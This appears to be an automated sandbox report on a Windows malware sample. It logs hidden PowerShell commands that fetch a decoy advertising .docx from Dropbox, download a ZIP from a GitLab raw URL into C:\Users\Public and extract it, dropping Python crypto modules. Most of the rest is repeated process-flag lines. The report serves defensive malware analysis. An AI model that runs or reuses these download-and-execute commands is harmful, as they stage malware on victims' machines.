Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/2xk4dviogo9yr2ose1z39/17_Advertising_Campaign_and_Collaboration.docx?rlkey=4wos6vvfhgosyi024mdevofd9&st=9zhl6gij&dl=1', 'C:\Users\user~1\AppData\Local\Temp\\18_Advertising_Campaign_and_Collaboration.docx')"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Start-Process 'C:\Users\user~1\AppData\Local\Temp\\18_Advertising_Campaign_and_Collaboration.docx'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://gitlab.com/bose1511/mkt1511/-/raw/main/18Fukrun.zip', 'C:\Users\Public\Document.zip')"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document')"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/2xk4dviogo9yr2ose1z39/17_Advertising_Campaign_and_Collaboration.docx?rlkey=4wos6vvfhgosyi024mdevofd9&st=9zhl6gij&dl=1', 'C:\Users\user~1\AppData\Local\Temp\\18_Advertising_Campaign_and_Collaboration.docx')"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Start-Process 'C:\Users\user~1\AppData\Local\Temp\\18_Advertising_Campaign_and_Collaboration.docx'"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://gitlab.com/bose1511/mkt1511/-/raw/main/18Fukrun.zip', 'C:\Users\Public\Document.zip')"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document')"	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Code function: 15_2_00007FFAAC312330 pushad ; iretd

15_2_00007FFAAC31236D

Persistence and Installation Behavior

Tries to download and execute files (via powershell)

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/2xk4dviogo9yr2ose1z39/17_Advertising_Campaign_and_Collaboration.docx?rlkey=4wos6vvfhgosyi024mdevofd9&st=9zhl6gij&dl=1', 'C:\Users\user~1\AppData\Local\Temp\\18_Advertising_Campaign_and_Collaboration.docx')"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://gitlab.com/bose1511/mkt1511/-/raw/main/18Fukrun.zip', 'C:\Users\Public\Document.zip')"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/2xk4dviogo9yr2ose1z39/17_Advertising_Campaign_and_Collaboration.docx?rlkey=4wos6vvfhgosyi024mdevofd9&st=9zhl6gij&dl=1', 'C:\Users\user~1\AppData\Local\Temp\\18_Advertising_Campaign_and_Collaboration.docx')"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://gitlab.com/bose1511/mkt1511/-/raw/main/18Fukrun.zip', 'C:\Users\Public\Document.zip')"	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Cryptodome\Cipher\_raw_ocb.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Cryptodome\Cipher\_ARC4.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Cryptodome\Cipher\_raw_aes.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Cryptodome\Cipher\_chacha20.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Cryptodome\Cipher\_raw_ofb.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Cryptodome\Cipher\_raw_ctr.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\Util\_strxor.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Cryptodome\Cipher\_raw_arc2.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Cryptodome\Cipher\_raw_blowfish.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Cryptodome\Cipher\_raw_cbc.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Cryptodome\Cipher\_raw_cfb.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\Util\_cpuid_c.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Cryptodome\Cipher\_raw_cast.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Cryptodome\Cipher\_pkcs1_decode.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Cryptodome\Cipher\_raw_des.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Cryptodome\Cipher\_raw_aesni.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Cryptodome\Cipher\_raw_ecb.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Cryptodome\Cipher\_raw_des3.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Cryptodome\Cipher\_Salsa20.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Cryptodome\Cipher\_raw_eksblowfish.pyd	Jump to dropped file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\Public\Document\LICENSE.txt

Jump to behavior

Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
